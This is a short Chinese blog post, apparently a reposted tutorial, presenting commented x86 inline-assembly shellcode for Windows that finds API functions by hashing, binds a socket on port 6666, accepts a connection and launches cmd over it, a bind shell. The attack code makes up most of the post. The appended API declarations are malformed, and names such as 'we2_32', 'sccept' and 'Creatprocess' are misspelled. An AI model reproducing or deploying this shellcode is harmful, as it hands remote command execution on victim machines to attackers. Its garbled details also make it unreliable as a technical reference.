利用shellcode进行监听端口

代码附详细解析

#include <stdio.h>

void main()
{
    
    
	_asm{
    
    
		_emit 0x59
		_emit 0x81
		_emit 0xc9
		_emit 0xd3
		_emit 0x62
		_emit 0x30
		_emit 0x20
		_emit 0x41

		_emit 0x43
		_emit 0x4d
		_emit 0x64//定义混合在代码中的数据,把这几个函数进行hash计算的结果存着作比较

		cdq//扩展64位符号数
		xchg eax,esi//保存第一个hash值的地址
		lea edi,[esi - 0x18]//指向代码的开头


		mov ebx,fs:[edx + 0x30]
		mov ecx,[ebx + 0x0c]
		mov ecx,[ecx+ 0x1c]
		mov ecx,[ecx]
		mov ebp,[ecx + 0x08]//方法与上一节的相仿,根据偏移找到kernel32的地址


		mov dh,0x03
		sub esp,edx//开辟更多栈空间


		mov dx, 0x3233
		push edx
		push 0x5E327377
		push esp//把we2_32字符放入栈中

	find_lib_functions:
		lodsb
		cmp al,0xd3//与WSAStartup的哈希值作对比
		jne find_functions
		xchg eax,ebp
		call [edi - 0xc]//LoadLibrary(we2_32)
		xchg eax,ebp

	find_functions:
		pushad
		mov eax,[ebp + 0x3c]
		mov ecx ,[ebp + eax + 0x78]
		add ecx,ebp
		mov ebx,[ecx + 0x20]
		add ebx,ebp
		xor edi,edi//与上一节的方法相似,根据偏移找到导出名称表

	next_function_loop:
		inc edi
		mov esi,[ebx + edi * 4]
		add esi,ebp
		cdq//找到名称的字符

	hash_loop:
		lodsb//esi指向的字符串轮番装入al
		xor al,0x71
		sub dl,al//运算
		cmp al,0x71//判断最后一位是不是NULL
		jne hash_loop
		cmp dl,[esp + 0x71]
		jnz next_function_loop///对比是否和需要的apihash一致
		mov ebx,[ecx + 0x24]
		add ebx,ebp
		mov dl,[ebx + 2 * edi]
		mov ebx,[ecx + 0x1c]
		add ebx,ebp
		add ebp,[ebx + 4 * edi]//经典操作和上一节相仿,获得函数的地址
		xchg eax,ebp//地址移入eax
		pop edi
		stosd//把eax的内容复制到edi中
		push edi
		popad
		cmp esi,edi//如果esi等于edi那么证明所有函数都跑完了
		jne find_lib_functions
		pop esi

		push esp
		push 0x02
		lodsd
		call eax//调用WSAStartup

		mov byte ptr [esi + 0x13],al
		lea ecx,[eax + 0x30]
		mov edi,esp
		rep stosd//初始化出一个WSASocket结构体,全为NULL
		inc eax
		push eax
		inc eax
		push eax
		lodsd//令前两个参数分别为1和2
		call eax//调用WSASocket
		xchg ebp ,eax//保存传回来的socket


		mov eax,0x0a1aff02//0x1a0x = port 6666 0x02 = AF_INET
		xor ah,ah//ff变为0
		push eax
		push esp

	call_loop:
		push ebp
		lodsd//把esi中存的地址放入eax中调用
		call eax
		test eax,eax
		jz call_loop//依次调用bind,listen,accept



		inc byte ptr [esp + 0x2d]
		sub edi,0x5c
		stosd
		stosd//建立Creatprocess结构体


		pop eax
		push esp
		push esp
		push eax
		push eax
		push eax
		push esp//true
		push eax
		push eax
		push esi//cmd
		push eax//传参
		call [esi - 0x1c]//CreatProcess


		call [esi - 0x18]//Exitprocess
	}
}

方法与上一节的基本一样,优化了一下hash算法,多了几个传参的函数

附函数定义

WSAStartup的定义

int WSAStartup{
    
    
WORD wVersionRequested
LPWSADATA lpWSAData
};

WSASocket的定义

SOCKET WSASocket{
    
    
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo
GROUP g,
DWORD dwFlags
};

listen的定义

int listen{
    
    
SOCKET s;
int backing
};

accept的定义

SOCKET sccept{
    
    
SOCKET s,
struct sockaddr* addr,
int* addrlen
};

猜你喜欢

转载自blog.csdn.net/Misaka10046/article/details/108656849